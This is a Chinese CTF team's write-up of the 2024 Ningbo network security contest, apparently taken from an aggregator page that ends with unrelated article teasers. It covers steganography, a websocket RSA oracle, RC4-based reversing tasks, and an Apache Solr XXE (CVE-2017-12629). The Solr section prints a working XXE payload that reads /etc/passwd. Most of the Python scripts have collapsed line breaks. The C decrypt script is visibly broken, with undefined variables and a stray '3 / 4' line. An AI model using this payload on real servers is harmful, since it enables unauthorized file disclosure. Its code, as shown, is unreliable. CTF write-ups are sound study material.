2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP

本文主要是介绍2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

“天一永安杯”2024 宁波第七届网络安全大赛暨第九届大学生网络技术与信息安全大赛

大赛竞赛形式

一、线上初赛
参赛人员:各单位自行选拔3人(设队长1名)组成团队,不足3人不允许参赛。

竞赛时间:8:30-12:00(比赛3个小时,不含签到时间)

竞赛模式:CTF解题模式
在这里插入图片描述
(排名图为赛时截的,最终排名应该是50多,行业组排30多)

Geek极安云科战队WriteUp
解题情况:Web1、Web2、RE1、RE2、CY1、MISC1

MISC1

7通道LSB隐写

image-20240505092317582
在这里插入图片描述

image-20240505092359641

WEB1

BP直接抓到

image-20240505131223428

WEB2

XML注入:Apache solr XML 实体注入(CVE-2017-12629)

image-20240505131516560

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"><!ENTITY % expr 'aaa)><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">&#x25;eval;&#x25;error;<!ELEMENT aa (bb'>%local_dtd;
]>

CY1

import websocket
import json
from Crypto.Util.number import *
from gmpy2 import *def get_flag(ws):x = ""ws.send(json.dumps({"cmd": "get_flag"}))while x == "" or x == "Pls send msgs and I'll return the result":x = ws.recv()return xdef f(ws, cmd, data):x = ""ws.send(json.dumps({"cmd": cmd, "data": data.zfill(512)}))while x == "" or x == "Pls send msgs and I'll return the result":x = ws.recv()return xuri = "ws://xxx.xxx.xxx.xxx:xxxxx"
ws = websocket.create_connection(uri)
c = int(get_flag(ws), 16)
c2 = int(f(ws, "enc", hex(2)[2:]), 16)
c3 = int(f(ws, "enc", hex(3)[2:]), 16)
c4 = int(f(ws, "enc", hex(4)[2:]), 16)
c9 = int(f(ws, "enc", hex(9)[2:]), 16)
n = GCD(c2**2 - c4, c3**2 - c9)
enc_flag_2 = c2 * c % n
flag_2 = int(f(ws, "dec", hex(enc_flag_2)[2:]), 16)
print(long_to_bytes(flag_2 // 2))

RE1

key和key1用crypto1算法混淆,再用cry2算法吧加密后的key混淆

def init(s, key1):key_length = len(key1)for i in range(256):s[i] = ij = 0for i in range(256):j = (j + s[i] + key1[i % key_length]) % 256s[i], s[j] = s[j], s[i]def crypt1(s, key):v5 = 0v6 = 0encrypted_key = bytearray(key)for i in range(len(key)):v5 = (v5 + 1) % 256v6 = (v6 + s[v5]) % 256s[v5], s[v6] = s[v6], s[v5]key_stream_byte = s[(s[v5] + s[v6]) % 256]encrypted_key[i] ^= key_stream_bytereturn encrypted_keydef before_main(key, key1):s = list(range(256))init(s, key1)encrypted_key = crypt1(s, key)return encrypted_key
key1 = b"keykey" 
key = b"ban_debug!" 
encrypted_key = before_main(key, key1)print("Encrypted key:", encrypted_key)
def init(s, key):key_length = len(key)for i in range(256):s[i] = ij = 0for i in range(256):j = (j + s[i] + key[i % key_length]) % 256s[i], s[j] = s[j], s[i]def crypt2(s, data):v5 = 0v6 = 0encrypted_data = bytearray(data)for i in range(len(data)):v5 = (v5 + 1) % 256v6 = (v6 + s[v5]) % 256s[v5], s[v6] = s[v6], s[v5]key_stream_byte = s[(s[v5] + s[v6]) % 256]encrypted_data[i] = (encrypted_data[i] - key_stream_byte) % 256return encrypted_datadef decrypt2(s, cipher):decrypted_data = bytearray(cipher)v5 = 0v6 = 0for i in range(len(cipher)):v5 = (v5 + 1) % 256v6 = (v6 + s[v5]) % 256s[v5], s[v6] = s[v6], s[v5]key_stream_byte = s[(s[v5] + s[v6]) % 256]decrypted_data[i] = (decrypted_data[i] + key_stream_byte) % 256return decrypted_data
key = b'key'
cipher = bytes([0x4e, 0x47, 0x38, 0x47, 0x62, 0x0a,  0x79, 0x6a, 0x03, 0x66, 0xc0, 0x69, 0x8d, 0x1c, 0x84, 0x0f, 0x54, 0x4a, 0x3b, 0x08, 0xe3, 0x30, 0x4f, 0xb9, 0x6c, 0xab, 0x36, 0x24, 0x52, 0x81, 0xcf])
s = list(range(256))
init(s, key)decrypted_flag = decrypt2(s, cipher)
print("Decrypted flag:", decrypted_flag.decode())

第一个脚本得到加密flag的key,使用第二个脚本解出flag

RE2

修改UPX特征码后upx -d脱壳,IDA分析,rc4改了轮数

image-20240505131620532

并且key在加密之前修改了

image-20240505131656187

解密脚本

unsigned char sbox[size] = {0};
void init_sbox(unsigned char *key)
{
unsigned int i, j, k;
int tmp;
for (i = 0; i < size; i++)
{
sbox[i] = i;
}
j = k = 0;
for (i = 0; i < size; i++)
{
tmp = sbox[i];
j = (j + tmp + key[k]) % size;
sbox[i] = sbox[j];
sbox[j] = tmp;
if (++k >= strlen((char *)key))
k = 0;
}
}
void encode(unsigned char *key, unsigned char *data)
{
int i, j, k, R, tmp;
init_sbox(key);
j = k = 0;
for (i = 0; i < strlen((char *)data); i++)
{
j = (j + 1) % size;
k = (k + sbox[j]) % size;
tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;
R = sbox[(sbox[j] + sbox[k]) % size];
data[i] ^= R;
}
}
int main()
{
unsigned char a[] = {42, 35, 69, 104, 85, 10, 60, 34, 61, 57, 35, 119, 114, 50, 1
24, 92, 117, 65, 27, 87, 123, 112, 19, 79, 5, 51, 28, 0};
unsigned char key[20] = "Th1s_1s_Re@lly_k3y";
encode(key, buffer);
printf("%s", a);
3 / 4
return 0;
}

这篇关于2024“天一永安杯“宁波第七届网络安全大赛极安云科战队部分WP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/963522

相关文章

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

2024/9/8 c++ smart

1.通过自己编写的class来实现unique_ptr指针的功能 #include <iostream> using namespace std; template<class T> class unique_ptr { public:         //无参构造函数         unique_ptr();         //有参构造函数         unique_ptr(

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快

如何做好网络安全

随着互联网技术的飞速发展,网站已成为企业对外展示、交流和服务的重要窗口。然而,随之而来的网站安全问题也日益凸显,给企业的业务发展和用户数据安全带来了巨大威胁。因此,高度重视网站安全已成为网络安全的首要任务。今天我们就来详细探讨网站安全的重要性、面临的挑战以及有什么应对方案。 一、网站安全的重要性 1. 数据安全与用户隐私 网站是企业存储和传输数据的关键平台,包括用户个人信息、

免费也能高质量!2024年免费录屏软件深度对比评测

我公司因为客户覆盖面广的原因经常会开远程会议,有时候说的内容比较广需要引用多份的数据,我记录起来有一定难度,所以一般都用录屏工具来记录会议内容。这次我们来一起探索有什么免费录屏工具可以提高我们的工作效率吧。 1.福晰录屏大师 链接直达:https://www.foxitsoftware.cn/REC/  录屏软件录屏功能就是本职,这款录屏工具在录屏模式上提供了多种选项,可以选择屏幕录制、窗口

论文翻译:ICLR-2024 PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS https://openreview.net/forum?id=KS8mIvetg2 验证测试集污染在黑盒语言模型中 文章目录 验证测试集污染在黑盒语言模型中摘要1 引言 摘要 大型语言模型是在大量互联网数据上训练的,这引发了人们的担忧和猜测,即它们可能已